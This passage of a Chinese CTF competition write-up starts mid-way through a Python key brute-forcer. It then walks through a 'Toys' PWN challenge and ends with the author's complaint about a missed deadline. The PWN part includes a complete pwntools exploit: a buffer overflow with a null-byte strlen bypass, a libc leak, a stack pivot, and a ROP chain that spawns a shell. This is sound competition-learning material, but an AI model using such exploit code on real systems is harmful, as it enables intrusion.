202, 15, 142, 203, 179, 187, 242, 135, 117, 92, 47, 152, 43, 28, 180, 198, 10, 76, 54, 26, 21, 136, 29, 228, 195, 151,
83, 48, 74, 58, 181, 97, 85, 192, 167, 219, 41, 104, 226, 224, 16, 9, 65, 49, 243, 175, 182, 106, 111, 0, 5, 11, 227,
209, 141, 71, 116, 120, 123, 100, 221, 171, 176, 57, 55, 254, 237, 82, 205, 129, 248, 170, 72, 107, 208, 235, 140, 68,
89, 23, 159, 79, 178, 53, 163, 126, 238, 78, 223, 233, 7, 67, 166, 174, 216, 234, 128, 62, 4, 94
]
A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
B = "TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
ENCODE_MAP = str.maketrans(A, B)
DECODE_MAP = str.maketrans(B, A)
def get_xor_masks():
"""返回用于异或操作的掩码列表"""
return [0xc, 2, 2, 5, 5, 2, 2]
def encode_custom_base64(input_data):
"""使用自定义Base64字符表对输入数据进行编码"""
if isinstance(input_data, str):
input_data = input_data.encode('utf-8')
# 标准 Base64 编码
standard_base64 = base64.b64encode(input_data).decode('utf-8')
# 使用自定义字符表替换
custom_base64 = standard_base64.translate(ENCODE_MAP)
# 计算填充符号
padding_count = custom_base64.count("=")
# 生成掩码
masks = get_xor_masks()
result = []
# 对非填充字符进行异或操作
for i in range(len(custom_base64) - padding_count):
result.append(ord(custom_base64[i]) ^ masks[0])
# 对填充符号进行处理
result.extend([0x3D] * padding_count)
# 进行位置异或
for i, mask in zip([0, 2, 3, 4, 5, 7], masks[1:]):
result[i] ^= mask
return result
def decrypt_data(data_buffer, key):
"""对加密数据进行解密"""
for i in range(4):
if data_buffer[i] != 0:
offset = i % 8
temp = key[offset] ^ TABLE[key[offset]]
data_buffer[i] = temp ^ data_buffer[i] ^ key[(i % 2) + 4]
return data_buffer
def find_key():
"""尝试找到正确的密钥"""
char_set = string.ascii_letters + "0123456789"
for candidate in product(char_set, repeat=4):
candidate_str = "".join(candidate)
encrypted_data = b'\x0e\xe1\xe5\xf9'
data_buffer = bytearray(encrypted_data)
# 编码候选密钥
key = encode_custom_base64(candidate_str)
# 解密数据
decrypted_data = decrypt_data(data_buffer, key)
# 判断解密结果是否为有效的ZIP文件标志
if b"PK\x03\x04" in decrypted_data[:4]:
print(candidate_str)
if __name__ == '__main__':
find_key()
【Toys】- PWN
Ida打开分析,进入main函数
可以看到有fgets的读入,很明显的溢出行为。
有个strlen的检测,但是根据fgets的特性可知,\x00是不会截断的,而strlen会截断,故可以输入\x00绕过strlen检查。
ROPgadget查看发现没有可利用gadget,检查程序发现一个函数会将rax变成指向stdout地址。
配合这里的mov rdi,rax;call puts可以实现libc泄露。
把rbp迁至bss段实现二次溢出,这个时候即可rop getshell。
Exp:
from pwn import *
p = process(‘./pwn’)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
bss = elf.bss()+0x800
payload1 = b'\x00'*0x80+p64(bss)+p64(0x0000000000401130)+p64(0x000000000401258)
p.sendlineafter('ta: ',payload1)
p.recvuntil('K!\n')
libc.address = u64(p.recvline()[:-1]+p16(0))-0x2045c0
print('libc:',hex(libc.address))
rdi_ret = libc.address+0x000000000010f75b
payload2 = b'\x00'*0x88+p64(rdi_ret+1)+p64(rdi_ret)+p64(next(libc.search(b'/bin/sh')))+p64(libc.symbols['system'])
p.sendlineafter('ta: ',payload2)
p.interactive()
【Gender-simulation】- PWN
有一说一我蚌埠住了,CTF生涯最蚌埠住的事件,我没看到这题要求5分钟内上交wp,搞笑吧!!!
就因为这一题分数扣掉了,我离全国第一痛失交臂!!!
最后含泪拿下全国第二,一等奖qwq
这题不想写wp了,警钟长鸣
没有更多啦